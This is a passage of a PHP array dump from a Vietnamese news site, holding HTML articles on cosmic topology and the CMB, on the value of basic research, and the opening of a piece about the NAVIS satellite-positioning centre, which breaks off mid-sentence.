c,…) ta có một hình xuyến với 2 lỗ. Ta gọi số lỗ là genus vậy ví dụ hình xuyến 2 lỗ có genus = 2.</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%206.jpg" /></div> <div> </div> <div> Hình 6. Tạo hình trụ, các hình xuyến 1 lỗ và 2 lỗ bằng cách dán các mép đối nhau (tức đồng nhất các mép)</div> <div> </div> <div> Chú ý hình xuyến S1x S1 có được nhờ đồng nhất các mép đối diện của một hình vuông là một không gian phẳng trong khi hình xuyến thông thường là không gian không phẳng. Song về mặt topo 2 hình xuyến này là tương đương. </div> <div> </div> <div> Hình trụ, hình xuyến một lỗ, hai lỗ là những không gian topo đa liên thông (multiplyconnected). Trong hình 7 ta có một topo đơn liên thông (cột một) và hai topo đa liên thông (cột 2 và 3).</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%207.jpg" /></div> <div> </div> <div> Hình 7. Đây là vài ví dụ của những đa tạp đồng phôi (homeomorphic) , những con số ở hàng dưới là số lỗ trong topo của chúng </div> <div> </div> <div> Phần trong của một đa diện 10 mặt ngũ giác mà từng đôi các mặt ngũ giác được đồng nhất với nhau sẽ là một không gian đóng với độ cong âm (compact hyperbolic space). </div> <div> </div> <div> Vậy vấn đề nghiên cứu topo vũ trụ là nằm trong những câu hỏi sau đây.</div> <div> </div> <div> Vũ trụ đóng hay mở? Vũ trụ có lỗ (hay tay quai-handle) không? Vũ trụ là liên thông hay đa liên thông? Những câu hỏi topo này thường bị bỏ quên bởi những nhà vũ trụ học. Trong một mô hình đầy đủ phải kể đến những câu hỏi topo này. Vũ trụ thực sự là sân khấu của những ảo tưởng quang học khổng lồ phát sinh vì những hiệu ứng thấu kính topo (topological lens).</div> <div> </div> <div> Nghiên cứu vũ trụ ta phải chú ý hai mặt: hình học và topo. Về mặt hình học ta có: không gian Euclide (độ cong bằng không), không gian cầu (độ cong dương) và không gian hyperbolic (độ cong âm). </div> <div> </div> <div> Không gian cầu trong mọi trường hợp là hữu hạn. Đối với hai loại không gian còn lại thì tính hữu hạn hoặc vô tận lại phụ thuộc vào topo. Nếu là topo đơn liên thông (simply-connected) thì chúng vô tận.</div> <div> </div> <div> Song đối với topo đa liên thông (như hình xuyến với một lỗ hay hai lỗ) thì chúng ta có khả năng xét những mô hình vũ trụ trong đó không gian là hữu hạn bất kể độ cong là như thế nào ngay cả lúc mật độ vật chất và hằng số vũ trụ là rất thấp (mà nếu chỉ xét hình học thì ta phải có không gian phẳng hoặc hyperbolic vô tận).</div> <div> </div> <div> Như vậy một không gian với độ cong âm có thể là hữu hạn nếu topo là đa liên thông.</div> <div> </div> <div> <strong>Một vài chi tiết toán học</strong></div> <div> </div> <div> Trong khuôn khổ của vũ trụ học chuẩn thì vũ trụ được mô tả bởi một đa tạp không thời gian M4 = RxM cộng với metric FLRW. Trong đó M = E3 (Euclidean), S3 (cầu) hoặc H3 (không gian hyperbolic có hình một cái yên ngựa). Điều này thường dẫn đến một sự hiểu nhầm: độ cong của M là tất cả điều gì cần thiết để xác định xem không gian 3 chiều là hữu hạn (finite) hay vô hạn (infinite). Bởi vì không gian M có thể chỉ là một trong những đa tạp thương (quotient manifold) khả dĩ. </div> <div> </div> <div> M= Mc / G</div> <div> </div> <div> Trong đó Mc = (E3,S3,H3) là không gian gọi là không gian phủ tổng quát (universal covering). Không gian M là không gian đa liên thông. Phép G cho phép phủ Mc bằng những tế bào gọi là đa diện cơ bản (fundamental polyhedron-FP) và thực hiện những phép tịnh tiến gắn liền với việc đồng nhất các mép (xem hình 8).</div> <div> </div> <div> Ví dụ hình xuyến T2=E2/G trong đó FP=là một hình chữ nhật với các mép đồng nhất như trên hình vẽ số 6.</div> <div> </div> <div> Trong một không gian đa liên thông bất kỳ hai điểm nào cũng có thể được nối liền bởi nhiều hơn một đường trắc địa và hệ quả trong một vũ trụ hữu hạn ánh sáng từ một đối tượng có thể đến với một quan sát viên theo nhiều quỹ đạo khác nhau – và như thế trên bầu trời ta có nhiều hình ảnh của một nguồn bức xạ.</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%208.jpg" /></div> <div> </div> <div> Hình 8.Cư dân trong FD và trong không gian phủ</div> <div> </div> <div> Ta lát không gian phủ tổng quát (universal covering) với nhiều FD bằng cách đồng nhất các mặt mép.</div> <div> </div> <div> Một cư dân của hình xuyến khi nhìn về phía trước thấy phía sau của mình và nhìn thấy trong không gian phủ tổng quát một mạng các hình ảnh của mình. (xem hình 8).</div> <div> </div> <div> Với những không gian đa liên thông (có một số lỗ ) số lượng N các bản copy của FD trong bức tranh quan sát vũ trụ có thể đánh giá bởi công thức: N=V/VFD. Trong đó V là thể tích của vùng vũ trụ quan sát được còn VFD là thể tích của FD.</div> <div> </div> <div> <strong>Topo và CMB</strong></div> <div> </div> <div> Trong vũ trụ học CMB là bức xạ nhiệt tàn dư từ lúc Big Bang (xem hình 9).</div> <div> </div> <div> CMB có thể giúp chúng ta xác định topo. Một phương pháp để làm việc đó là thực hiện mô hình toán học bằng máy tính của CMB đối với một topo nào đó rồi so sánh với quan trắc vũ trụ.</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%209.jpg" /></div> <div> </div> <div> Hình 9 . Bản đồ Bức xạ Phông Vũ trụ CMB trên bầu trời</div> <div> </div> <div> Tính đa liên thông được khai thác để tìm ra những bất thường trong phổ năng lượng do hệ quả topo. Một điểm bức xạ theo nhiều hướng khác nhau và ánh sáng sau khi đi vòng quanh vũ trụ nhiều lần sẽ đến người quan sát và cho chúng ta nhiều hình ảnh đa bội của điểm bức xạ.</div> <div> </div> <div> Nhiều khía cạnh của CMB có thể bị thay đổi khi topo vũ trụ là đa liên thông (hữu hạn):</div> <div> </div> <div> (1) Topo đa liên thông phá hủy tính đẳng hướng và tính đồng nhất toàn cục, xuất hiện trên CMB một phân bố bất đẳng hướng và bất đồng nhất ứng với các hình ảnh ảo (ghost) của nhiều điểm,</div> <div> </div> <div> (2) Phổ các loại thăng giáng là gián đoạn, điều này phản ánh một không gian hữu hạn (tương tự như trong Cơ học lượng tử thể tích hữu hạn cho phổ năng lượng gián đoạn),</div> <div> </div> <div> (3) Bức tranh các thăng giáng nhiệt độ phản ánh sự xuất hiện lặp lại của những điểm nóng và lạnh do hệ quả thấu kính topo.</div> <div> </div> <div> <strong>Kết luận</strong></div> <div> </div> <div> Topo vũ trụ là một lĩnh vực quan trọng phối hợp các lý thuyết toán học với những định luật vật lý. Chúng ta có khả năng quan sát được topo vũ trụ một cách gián tiếp nhờ quan sát CMB. Hiểu được topo vũ trụ chúng ta có thể nghiên cứu chính xác hơn ảnh hưởng của năng-lượng vật chất lên không thời gian.Trong vũ trụ học hiện đại các nhà khoa học sử dụng toàn diện vật lý, hình học lẫn topo.</div> <div> </div> <div> Dường như kết hợp lý thuyết và quan trắc các nhà vũ trụ học đối diện với hiện tượng một không gian với độ cong âm (mật độ vật chất thấp) lại có thể là hữu hạn về toàn cục và trong trường hợp đó ta phải có một topo đa liên thông. Thiên nhiên vốn kinh hãi cái vô cùng (Nature abhors an infininity).</div> <div> ----------------</div> <div> Tài liệu tham khảo và chú thích</div> <div> </div> <div> [1] Mark Baltovic, The topology of the Universe </div> <div> </div> <div> [2] M.J.Reboucas, G.I.Gomero, Cosmic topology:A brief Overview, Brazilian Journal of Physics, vol.34, no.4A, December,2004 </div> <div> </div> <div> [3] Jean-Pierre Luminet, Is the Universe crumpled?</div> <div> </div> <div> [4] Janna Levin, Topology and the Cosmic Microwave Background,</div> <div> arXiv:gr-qc/0108043v2 20 Aug2001, Physics Reports 365(2002) 251-333</div> <div> </div> <div> [5] Biến đổi đồng phôi là một biến đổi liên tục không chứa phép cắt và dán.</div> ', 'images' => '201606160312445e740f261196151a0b02c7b2fccf6ae6.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-16', 'modified' => '2025-08-18', 'status' => '1', 'view' => '75132', 'slug' => 'topo-cua-vu-tru', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '715', 'rght' => '716', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 4 => array( 'Post' => array( 'id' => '412', 'name' => 'Vai trò của khoa học cơ bản?', 'code' => null, 'alias' => 'vai-tro-cua-khoa-hoc-co-ban', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Hơn 200 năm trước, vào đầu năm 1782, nhà vật lý và triết học người Đức-Christof Lichtenberg đã viết trong nhật kí của mình: </div> <div> “Việc tìm ra một phương thuốc công hiệu tức thời cho những cơn đau răng có thể có giá trị chẳng kém, thậm chí còn nhiều hơn so với việc tìm ra một hành tinh mới…nhưng tôi không thể tìm thấy cách nào để bắt đầu nhật ký năm nay tốt hơn là tin tức về một hành tinh mới.”</div> <div> Hành tinh được đề cập ở đây chính là Sao Thiên Vương, phát hiện ra vào năm 1781. Vấn đề mà Lichtenberg ngụ ý là sự so sánh tương quan về mức độ quan trọng giữa việc tìm kiếm các giải pháp kĩ thuật cho các vấn đề cụ thể so với việc tìm tòi kiến thức cơ bản mới. Ngày nay, nhu cầu đặt ra và xem xét vấn đề ấy thậm chí còn cấp thiết hơn cả 200 năm về trước. <br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (4).jpg" style="width: 227px; height: 167px;" /></div> <div> </div> <div> <strong>1. Nghiên cứu cơ bản đối lập với nghiên cứu ứng dụng</strong></div> <div> <br /> Trong công nghiệp, thuật ngữ “nghiên cứu” thường dùng để chỉ những cải tiến với kĩ thuật đang tồn tại, tuy nhiên việc này với các nhà khoa học hàn lâm đơn thuần chỉ được coi là sự phát triển mới. Khác biệt trong quan niệm về thuật ngữ “nghiên cứu” có thể dẫn đến nhiều hiểu lầm. Trong bài này tôi dùng từ đó theo cách hiểu của các nhà khoa học hàn lâm.</div> <div> Hiểu lầm cũng xuất phát từ những giả thuyết thường gặp có tính thúc đẩy cho lợi ích mà nghiên cứu cơ bản mang lại dựa theo “mô hình tuyến tính”, trong đó nghiên cứu cơ bản kéo theo nghiên cứu ứng dụng, để rồi giúp công nghiệp phát triển và cuối cùng là sản phẩm mới. Tiến trình này đã xảy ra trong nhiều trường hợp, nhưng cũng có thể dễ dàng tìm được các trường hợp, trong đó sự tiến bộ của công nghệ lại là cái dẫn đến những tiến bộ trong nghiên cứu cơ bản, như là George Porter (nhận giải thưởng Nobel Hóa học) – người đã chỉ ra rằng “nhiệt động lực học mắc nợ động cơ hơi nước hơn cả động cơ hơi nước mắc nợ khoa học.”</div> <div> </div> <div> Đáng tiếc là, những trường hợp như vậy khiến một số người ủng hộ một mô hình phản tuyến tính. Ví dụ như Terence Kealey vừa mới viết một cuốn sách1 biện luận rằng sự phát triển kinh tế không chịu ảnh hưởng bất cứ thứ gì từ nghiên cứu cơ bản - và vì vậy nên không cần phải nhận được sự hỗ trợ từ Chính phủ. Ông ta chỉ ra một cách xác thực rằng sự phát triển của năng lượng hơi nước, kĩ thuật luyện kim và nhà máy dệt, các yếu tố nền tảng thúc đẩy sự khởi đầu cuộc cách mạng công nghiệp ở Anh, đều là kết quả của tri thức khoa học và các nguyên tắc cơ khí từ thời trước thế kỷ 17, và chẳng hề chịu ảnh hưởng từ bất kì điều gì đến cuộc cách mạng khoa học thế kỉ 17 (cơ học Newton, tích phân, v.v ). Điều này đúng nhưng nó không đúng với nhiều bước phát triển của công nghiệp sau này, mà tôi hi vọng là những ví dụ tôi đưa ra sau đây sẽ chứng minh được.</div> <div> Vậy nên, mối liên hệ giữa khoa học và công nghệ không phải là tuyến tính mà cũng không phải là phản tuyến tính, mà thực tế là rất phi tuyến tính, và người ta đã từng khẳng định rằng2: “nghiên cứu lịch sử những mô hình thành công đã nhiều lần chỉ ra mật độ các tác động tương hỗ giữa các ngành khoa học cơ bản (vốn ban đầu không liên quan tới nhau), công nghệ, và sản phẩm, tấp nập tới mức không thể tách rời và phân biệt, chúng là tất cả các thành phần đan quện chặt chẽ trong cùng một thực thể”. Tuy vậy có thể khẳng định một sự phân biệt trên diện rộng giữa khoa học (tri thức) và công nghệ (cái được ứng dụng từ tri thức) và giữa các hình thức khác nhau của khoa học.</div> <div> Tôi không thích thuật ngữ khoa học cơ bản và khoa học ứng dụng: xét cho cùng ai có thể nói trước cái gì là sẽ ứng dụng được? Tuy nhiên, những thuật ngữ này có thể hữu dụng nếu chúng được định nghĩa dựa trên động cơ thúc đẩy:</div> <div> Khoa học cơ bản – được thúc đẩy bằng sự ham hiểu biết. </div> <div> Khoa học ứng dụng – dành để trả lời cho những câu hỏi cụ thể.</div> <div> Từ định nghĩa này, về sau tôi sẽ biện luận rằng Chính phủ có một trách nhiệm đặc biệt để hỗ trợ cho nghiên cứu cơ bản, trong khi việc đầu tư nghiên cứu ứng dụng nhìn chung có thể nhường lại cho các doanh nghiệp. </div> <div> Tất nhiên, sự phân biệt đó luôn luôn không rõ ràng và thuật ngữ “nghiên cứu chiến lược” thỉnh thoảng được sử dụng để nói về khoa học như một phạm trù trung gian – cái tạo ra cơ hội cao trong việc tạo ra ứng dụng, cho dù có thể nó được thực hiện thuần túy chỉ để thỏa mãn sự tò mò và qua đó dẫn đến những hiểu biết nền tảng mới. Việc nghiên cứu những đặc tính của chất bán dẫn hai chiều là một ví dụ. </div> <div> </div> <div> <strong>2. Lợi ích của khoa học cơ bản</strong></div> <div> <br /> Có thể phân biệt ra bốn nhóm lợi ích, được đề cập lần lượt như sau:</div> <div> Những đóng góp cho văn hóa.</div> <div> Tiềm năng tạo ra những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn. </div> <div> Những phát hiện ngoài dự kiến (spin-offs) và tác động kích thích nền công nghiệp. </div> <div> Giáo dục.</div> <div> 2.1. Những đóng góp cho văn hóa.</div> <div> Bob Wilson (giám đốc đầu tiên của Fermilab, một phòng thí nghiệm lớn gần Chicago dành cho vật lý hạt/máy gia tốc) khi được một Ủy ban Quốc hội hỏi rằng “Phòng thí nghiệm của anh sẽ đóng góp gì để bảo vệ nước Mỹ?”. Câu trả lời là: “Không gì cả, nhưng nó sẽ làm cho nước Mỹ đáng được bảo vệ”. Tuy nhiên, nhìn chung các nhà khoa học thường e ngại trong những cuộc tranh luận về sự đóng góp của họ đối với văn hóa, xã hội. Hiện tượng này thực ra có từ rất cổ xưa như trong đoạn đối thoại dưới đây trong cuốn Cộng hòa của Plato:</div> <div> Socrates: Chúng ta có nên coi thiên văn học là một chủ đề đáng nghiên cứu? </div> <div> Glaucon: Tôi cho là nên, hiểu biết về mùa màng, về tháng và năm, sẽ hữu ích cho mục đích quân sự, cũng như trong nông nghiệp và hàng hải.</div> <div> Socrates: Tôi thấy thú vị khi thấy ông e ngại như thế nào, vì sợ rằng mọi người sẽ kết tội ông đã đề nghị nghiên cứu những thứ không có ích lợi gì.</div> <div> Tôi cho rằng các nhà khoa học phải đưa ra các luận điểm có sức thuyết phục về sự đóng góp của khoa học trong thúc đẩy văn hóa. Cụ thể như những kiến thức về hệ Mặt trời, mã di truyền, Mặt trời làm việc như thế nào, tại sao bầu trời lại có màu xanh và sự mở rộng của Vũ trụ làm cách nhìn của chúng ta thay đổi, cuộc sống của chúng ta phong phú lên. Chúng ta cần làm cho mọi người thấy việc phổ cập hóa vật lý hạt cơ bản là có ích không chỉ về kinh tế mà còn về văn hóa, từ đó thuyết phục mọi người rằng nên tiếp tục khám phá biên giới này của tri thức. </div> <div> 2.2 Tiềm năng tạo ra những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn.</div> <div> Không quá khó để chỉ ra rằng chi phí cho khoa học cơ bản thường dẫn đến những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn, có khả năng sinh lợi cao và có thể dễ dàng bồi hoàn chi phí đầu tư. Casimir - nhà vật lý lý thuyết nổi tiếng, cựu Giám đốc Nghiên cứu của Philips đã đưa ra một danh sách các ví dụ tuyệt vời3:</div> <div> “Tôi đã được nghe nói rằng vai trò của nghiên cứu hàn lâm trong các cải tiến kỹ thuật là rất ít. Đây là luận điểm ngớ ngẩn nhất trong những điều vô nghĩa nhất mà tôi được biết. Chắc chắn một ai đó suy đoán vẩn vơ rằng liệu tranzito có phải do những người không được đào tạo và không đóng góp gì cho cơ học sóng hay thuyết lượng tử chất rắn tìm thấy. Sự thật là những người phát hiện ra tranzito đều nghiên cứu sâu và có nhiều đóng góp tới thuyết lượng tử chất rắn.</div> <div> Một ai đó có thể hỏi liệu rằng các mạch cơ bản trong máy tính có phải được tìm thấy bởi những người chủ tâm muốn xây dựng máy tính. Đúng là như vậy, chúng đã được phát kiến vào những năm 30 bởi những nhà vật lý muốn đếm các hạt cơ bản bởi vì họ quan tâm đến vật lý hạt nhân.</div> <div> Một ai đó có thể hỏi rằng liệu năng lượng hạt nhân được khám phá bởi vì có những người muốn một nguồn năng lượng mới, hay sự thôi thúc có năng lượng mới đã dẫn đến việc tìm ra hạt nhân. Có thể - nhưng nó đã không xảy ra như vậy.</div> <div> Một ai đó hỏi rằng liệu ngành công nghiệp điện tử có thể tồn tại mà không có những khám phá về electron của những người như Thomson và H.A. Lorentz. Một lần nữa, nó đã không xảy ra như vậy. </div> <div> Tôi nghĩ thật hầu như không có một ví dụ nào của những cải tiến trong thế kỷ 20 mà không mắc nợ khoa học cơ bản.”</div> <div> Những ví dụ của Casimir có một số đặc điểm chung :</div> <div> Những ứng dụng của kiến thức mới có lợi nhuận cao.</div> <div> Những ứng dụng hoàn toàn không được nhìn thấy khi các phát hiện nền tảng được khám phá.</div> <div> Có một khoảng thời gian dài giữa những khám phá nền tảng và những ứng dụng.</div> <div> Nhìn chung các nhà phát minh trong khoa học cơ bản không trở nên giàu có.</div> <div> Đã có một số cố gắng nhằm lượng hóa lợi ích to lớn từ các nghiên cứu nền tảng. Tôi sẽ đề cập 2 ví dụ:</div> <div> 1. Một nghiên cứu gần đây của Tổ chức Khoa học Quốc gia Hoa Kỳ cho thấy rằng 73% các bài báo trích dẫn trong các bằng sáng chế công nghiệp là các nghiên cứu được công bố một cách công cộng, mà phần đông là những bài báo nghiên cứu cơ bản được thực hiện bởi những trường đại học hàng đầu và các phòng thí nghiệm của Chính phủ. 2. Một nghiên cứu có nhiều trích dẫn bởi Mansfield5 vào năm 1991 đã chỉ ra rằng đầu tư của cộng đồng vào khoa học cơ bản có tỉ lệ lợi nhuận là 28%. Con số của Mansfield được lấy ra từ 75 hãng lớn nhất ở Mỹ trong 7 ngành công nghiệp (xử lý thông tin, thiết bị điện, hóa học, dụng cụ, dược phẩm, kim loại và dầu mỏ). Từ ban điều hành nghiên cứu và phát triển của các công ty, Mansfield đã thu thập được thông tin về những sản phẩm mới, sản phẩm được thương mại hóa trong giai đoạn 1975- 1985, mà theo các ban điều hành cho biết thì các sản phẩm này đã không thể ra đời (hoặc chậm hơn rất nhiều) nếu không có các nghiên cứu hàn lâm được thực hiện trong khoảng 15 năm trước khi sáng kiến đầu tiên được công bố. </div> <div> 2.3. Những phát hiện ngoài dự kiến (spin-offs) và tác động kích thích nền công nghiệp</div> <div> Với khái niệm những phát hiện ngoài dự kiến, tôi muốn nói về các thiết bị và kĩ thuật được phát triển để tiến hành các nghiên cưu cơ bản nhưng sau này người ta nhận ra cả những lợi ích khác nữa. Tôi đưa ra vài ví dụ từ vật lý hạt cơ bản (nhiều trong chúng có sự đóng góp từ vật lý hạt nhân):</div> <div> Máy gia tốc ( ngày nay có khoảng 10000 máy gia tốc trên thế giới, chỉ có 100 cái trong số đó sử dụng cho mục đích nghiên cứu ban đầu trong vật lý hạt nhân và vật lý hạt cơ bản).</div> <div> - Ngành công nghiệp bán dẫn. </div> <div> - Thức ăn tiệt trùng, y tế, rác thải.</div> <div> - Xử lý bức xạ. </div> <div> - Liệu pháp điều trị ung thư. </div> <div> - Tiêu hủy rác thải hạt nhân. </div> <div> - Thí nghiệm không phá mẫu. </div> <div> - Sản xuất năng lượng (máy khuếch đại năng lượng)</div> <div> - Nguồn cho bức xạ synchrotron (sinh học, vật lý chất ngưng tụ…)</div> <div> - Nguồn cho của Notron ( sinh học, vật lý chất ngưng tụ…)</div> <div> Máy dò hạt.</div> <div> - Máy dò tinh thể</div> <div> (Tinh thể phát triển cho những thí nghiệm ở máy va đập LEP tại CERN mà bây giờ được dùng cho ảnh y tế ở hàng trăm bệnh viện, những tinh thể sẽ thay thế chúng với những đặc tính ưu việt hơn hiện thời vẫn đang được phát triển cho máy LHC tại CERN)</div> <div> - Ảnh y tế</div> <div> - An ninh</div> <div> - Thí nghiệm không phá mẫu</div> <div> - Phục vụ nghiên cứu</div> <div> - Ổ tỉ lệ đa đường dây</div> <div> - Kiểm tra container</div> <div> - Phục vụ nghiên cứu</div> <div> - Máy dò chất bán dẫn</div> <div> - Rất nhiều ứng dụng trong giai đoạn phát triển.</div> <div> Khoa học thông tin</div> <div> +WWW( Một nhóm ở Anh mới đây đã nhận định rằng Web tạo ra 5% doanh thu của các công ty lớn và sẽ tăng lên đến 20% vào cuối thập niên)</div> <div> + Chương trình mô phỏng</div> <div> + Phát hiện lỗi</div> <div> + Hệ điều hành</div> <div> + Kích thích tính toán song song.</div> <div> - Chất siêu dẫn</div> <div> Ảnh cộng hưởng từ hạt nhân</div> <div> Những ứng dụng khác ( kỹ thuật làm lạnh, chân không, kĩ thuật điện, trắc địa…)</div> <div> Có lúc dường như mọi người nghĩ rằng có một danh sách dài các phát kiến từ vật lý hạt cơ bản đủ để chứng minh chi phí cho vật lý cơ bản. Song chứng minh được không phải điều dễ dàng. Tuy nhiên, chắc chắn có thể khẳng định rằng giá trị của những ứng dụng ngoài dự kiến phải được tính tới khi cân nhắc các khoản chi phí cho khoa học cơ bản, và có lẽ đúng là những nhu cầu đặc biệt của ngành vật lý hạt cơ bản, đòi hỏi thiết bị vô cùng tối tân, đã khiến nó sản xuất ra nhiều ứng dụng ngoài dự kiến. Trong thực tế, nhìn chung các nhà kinh tế học ngày càng nhận ra tầm quan trọng của các ứng dụng ngoài dự kiến, đặc biệt là dưới dạng các công cụ được chế ra nhằm phục vụ các nghiên cứu nền tảng. Đa số các thiết bị trong một nhà máy điện tử hiện đại vốn được sinh ra từ những phòng thí nghiệm trong các trường đại học, và có rất nhiều ví dụ tương tự với các công cụ vốn sinh ra để phục vụ trong nghiên cứu vật lý, hóa học, dược học, y tế.</div> <div> Nhìn chung các nhà khoa học cơ bản đều ưu tiên công việc cho phục vụ công bố và đưa ra công khai kết quả mà họ thực hiện, trong khi các nhà khoa học ứng dụng làm việc trong ngành công nghiệp lại thúc đẩy bởi mong muốn bảo vệ, giấu kín và lấy bằng sáng chế. Như vậy có thể xảy ra nghịch lý là có nhiều ứng dụng ngoài dự kiến từ các nghiên cứu cơ bản hơn là từ nghiên cứu ứng dụng. Thậm chí trừu tượng và bí hiểm như thuyết tương đối rộng (lý thuyết của Einstein về lực hấp dẫn) cũng có tạo ra một ứng dụng ngoài dự kiến. Đó là phép lạ phục vụ việc định vị được biết đến với tên gọi là hệ thống định vị toàn cầu (GPS), nó có thể ngay lập tức tự động chỉ cho chúng ta biết vị trí và độ cao chính xác trong phạm vi 10 mét ở tất cả mọi nơi trên Trái đất. Hơn 160 nhà sản xuất khắp thế giới đang phát triển các hệ thống dựa trên công nghệ GPS trong một thị trường nhiều tỉ USD. Các hệ thống này làm việc bằng cách so sánh tín hiệu thời gian nhận được từ các vệ tinh khác nhau. Đồng hồ trong các vệ tinh là những chiếc đồng hồ nguyên tử, vốn xưa kia được tạo ra chỉ để phục vụ nghiên cứu về thuyết tương đối rộng, cụ thể là để kiểm chứng dự đoán của Einstein rằng các đồng hồ sẽ chạy khác nhau trong các trường trọng lực khác nhau. </div> <div> 2.4. Giáo dục</div> <div> Làm việc nghiên cứu khoa học cơ bản là một quá trình đào tạo tuyệt vời cho những người muốn sau này làm nghiên cứu ứng dụng hoặc phát triển trong công nghiệp. Hơn nữa, điều này còn tạo ra một mạng lưới liên kết giữa các nhà nghiên cứu trong các ngành công nghiệp khác nhau và trong giới hàn lâm, vốn sẽ không thể tồn tại nếu tất cả sự đào tạo diễn ra bên trong các ngành công nghiệp. Giá trị của mạng lưới ấy ngày càng được các nhà kinh tế học thừa nhận như một lợi ích xã hội đầu tư cho nghiên cứu cơ bản. </div> <div> Cụ thể như với công việc làm thí nghiệm vật lý hạt cơ bản, người ta đánh giá rằng có khoảng 300 bằng tiến sĩ được trao trên toàn thế giới mỗi năm dựa vào công việc làm ở CERN (tính tổng trong toàn bộ lĩnh vực thì có lẽ gấp 2 lần con số này), và ít nhất có một nửa số tiến sĩ đó cuối cùng sẽ làm việc trong công nghiệp hay thương mại, nơi kinh nghiệm của họ đã làm trong các dự án công nghệ cao của các nhóm đa quốc gia tại CERN sẽ trở nên vô cùng cần thiết.</div> <div> Thêm vào đó, có căn cứ cho thấy khoa học cơ bản (ví dụ như trong vật lý, cụ thể là thiên văn học và vật lý hạt cơ bản, với những từ rất quen tai như lỗ đen và hạt quark) đóng một vai trò quan trọng trong việc thu hút sự hứng thú và quan tâm của thế hệ trẻ đến khoa học và công nghệ. Điều này cực kỳ quan trọng mặc dù tác dụng sẽ rất khó được lượng hóa. </div> <div> --------------------------</div> <div> 1. The Economic Laws of Scientific Research, T. Kealey, Macmillan Press, London, 1996. </div> <div> 2. G. Holton, H. Chang và E. Jarkowitz, American Scientists 84, 364, 1996. </div> <div> 3. Trích dẫn trang 198 cuốn “The Life of Sir J.J. Thomson”, Lord Rayleigh, Cambridge University Press, 1942. </div> <div> H.G.B. Casimir, Contribution to Symposium on Technology and World Trade, US Department of Commerce, 16 November 1966.</div> <div> 4. Academic Research and Industrial Innovation, E. Mansfield, Research Policy 20, 1, 1991. </div> <div> </div> <div> THANH LOAN (lược thuật)</div> ', 'images' => '20160616031004d7c6beba6c2283f4ef1e8cc43783f320.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-16', 'modified' => '2025-08-18', 'status' => '1', 'view' => '64718', 'slug' => 'vai-tro-cua-khoa-hoc-co-ban', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '713', 'rght' => '714', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 5 => array( 'Post' => array( 'id' => '411', 'name' => 'Áp lực từ hợp tác quốc tế', 'code' => null, 'alias' => 'ap-luc-tu-hop-tac-quoc-te', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Là một đơn vị nghiên cứu công nghệ định vị sử dụng vệ tinh tại Đông Nam Á, một lĩnh vực có ý nghĩa quan trọng với mọi mặt của đời sống, Trung tâm Quốc tế Nghiên cứu Phát triển Định vị sử dụng vệ tinh (NAVIS) phải tự tìm hướng đi tiếp theo cho mình để phát triển.</div> <div> <br /> <strong><img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (3).jpg" style="width: 250px; height: 188px;" /><br /> <br /> “Phát triển đội ngũ, nhưng phải ‘tinh’”</strong></div> <div> </div> <div> Vào năm 2008, Liên minh Châu 